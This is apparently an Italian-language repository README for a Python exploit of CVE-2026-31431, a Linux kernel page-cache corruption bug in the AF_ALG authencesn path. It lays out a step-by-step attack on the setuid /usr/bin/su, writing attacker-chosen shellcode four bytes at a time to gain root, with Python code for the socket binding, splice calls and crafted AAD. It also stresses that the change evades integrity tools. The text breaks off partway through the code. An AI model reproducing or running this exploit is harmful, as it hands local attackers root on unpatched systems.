
# Exploit Python per CVE-2026-31431, un'escalation dei privilegi del kernel Linux tramite corruzione della cache di pagina dei binari setuid, che consente l'accesso root.
Copy Fail (CVE-2026-31431) è un bug logico critico nel sottosistema crittografico del kernel Linux che consente a utenti non privilegiati di ottenere l'escalation dei privilegi fino a root. La vulnerabilità interessa i kernel Linux dalla versione 6.0.0 alla 6.18.x su tutte le principali distribuzioni.
Questo repository contiene l'exploit reale che attiva la vulnerabilità corrompendo la cache delle pagine dei binari setuid ed eseguendo codice arbitrario con privilegi di root.
Copy Fail è un bug logico che consente a utenti non privilegiati di scrivere blocchi arbitrari di 4 byte direttamente nella cache delle pagine del kernel di qualsiasi file leggibile sul sistema, inclusi i binari setuid.
Caratteristiche principali:
La vulnerabilità deriva da un'ottimizzazione del 2017 in algif_aead.c (commit 72548b093ee3) che ha modificato le operazioni AEAD da out-of-place a in-place:
Prima (sicuro - 2015):
TX Scatterlist (input) ← TX buffer (dati utente dal file)
RX Scatterlist (output) ← RX buffer (area di output dell'utente)
Scatterlist separati = le pagine della cache sono in sola lettura
Dopo (vulnerabile - 2017):
Scatterlist combinato:
[ RX buffer ] [ Pagine della cache concatenate tramite sg_chain() ]
↑ ↑
req->src = src req->dst = dst (STESSO scatterlist)
Le pagine della cache ora sono in uno scatterlist SCRIVIBILE!
Lo scatterlist combinato appare così:
[AAD + Ciphertext dal RX buffer] || [Tag dalla cache delle pagine di /usr/bin/su]
↑
Confine
(authencesn scrive OLTRE questo punto)
L'algoritmo authencesn è un wrapper AEAD utilizzato da IPsec per i Numeri di Sequenza Estesi (ESN). Esegue il calcolo HMAC ma deve riorganizzare i byte all'interno dell'AAD (Associated Authenticated Data).
Nel codice del kernel (crypto/authenc.c), durante la decrittazione:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // legge i byte AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // temporaneo: sovrascrive dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← RIGA CHIAVE
// scrive 4 byte a dst[assoclen+cryptlen]
Il problema: La terza scrittura avviene all'offset assoclen + cryptlen. Nel percorso in-place vulnerabile:
Il kernel tratta questa posizione come "spazio scratch sacrificabile" e vi scrive il valore permanentemente. I byte originali in questa posizione nella cache delle pagine vengono persi per sempre.
1. L'attaccante apre un socket AF_ALG → si lega a authencesn(hmac(sha256),cbc(aes))
(Nessun privilegio necessario; AF_ALG è disponibile agli utenti non privilegiati per impostazione predefinita)
2. L'attaccante apre il file target: /usr/bin/su (binario setuid-root)
3. L'attaccante usa splice() per consegnare le pagine della cache di /usr/bin/su
nel socket AF_ALG come "ciphertext" e "tag"
4. L'attaccante invia sendmsg() con AAD contenente:
- Byte 0-3: padding
- Byte 4-7: seqno_lo = valore di 4 byte da scrivere (controllato dall'attaccante)
- Byte 8+: padding
5. L'attaccante chiama recvmsg() che attiva l'operazione di decrittazione AEAD
All'interno della decrittazione di authencesn nello spazio del kernel:
a) Il kernel legge i byte AAD 0-7
b) Il kernel scrive seqno_hi a dst[4..7] (temporaneo, poi ripristinato)
c) Il kernel scrive seqno_lo a dst[assoclen + cryptlen]
↓
QUESTA SCRITTURA ATTRAVERSA DAL BUFFER UTENTE ALLE PAGINE DELLA CACHE
↓
La scrittura di 4 byte nella cache delle pagine di /usr/bin/su avviene QUI
d) Il kernel calcola HMAC (la validazione fallisce - il ciphertext è fabbricato)
e) recvmsg() restituisce un errore
MA: La scrittura di 4 byte PERSISTE GIÀ nella cache delle pagine
6. L'attaccante ripete i passaggi 2-5 per ogni blocco di 4 byte dello shellcode
7. L'attaccante esegue /usr/bin/su
- Il kernel carica il binario dalla CACHE DELLE PAGINE (che ora contiene lo shellcode)
- Il binario è setuid-root
- Lo shellcode viene eseguito con UID=0
- L'attaccante ha accesso root
| Aspetto | Spiegazione |
|---|---|
| Nessun Crash | L'operazione si completa dal punto di vista del kernel |
| Deterministico | Nessuna race condition; sincrono e affidabile |
| Persistente | La corruzione della cache delle pagine sopravvive anche dopo l'errore di recvmsg() |
| Invisibile | Il file su disco è intatto; gli strumenti di integrità standard non rilevano nulla |
| Universale | Lo stesso codice funziona su tutte le distribuzioni; nessun offset per-distribuzione necessario |
| Portabile | Funziona su architetture x86-64 e ARM64 |
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # Request socket per operazioni AEAD
Crea un socket AF_ALG legato al template AEAD authencesn.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
Apri il binario setuid che verrà corrotto. Qualsiasi file leggibile funziona, ma i binari setuid vengono scelti per l'escalation dei privilegi.
pipe_rd, pipe_wr = os.pipe()
Crea una pipe che fungerà da intermediario per le operazioni splice(). I buffer della pipe conterranno riferimenti alle pagine della cache.
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
Usa splice() per trasferire cryptlen byte da /usr/bin/su a partire da write_offset nella pipe.
Perché è importante: splice() trasferisce dati tra descrittori di file senza copiarli. Passa riferimenti diretti alle pagine della cache del kernel. Queste pagine rimangono nella struttura del buffer interno della pipe.
assoclen = 8 # Lunghezza AAD: byte 0-7
cryptlen = 32 # Lunghezza ciphertext (== output HMAC-SHA256)
authsize = 32 # Lunghezza tag
write_offset = 0x2000 # Offset in /usr/bin/su dove scrivere
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
L'AAD (Associated Authenticated Data) contiene:
L'algoritmo authencesn userà i byte 4-7 di questo AAD nella sua scrittura scratch.
req_sock.sendmsg([aad], [], socket.MSG_MORE)
Invia l'AAD al socket AF_ALG. Il flag MSG_MORE indica che ciphertext/tag seguiranno.
os.splice(pipe_rd, req_sock.fileno(), cryptlen)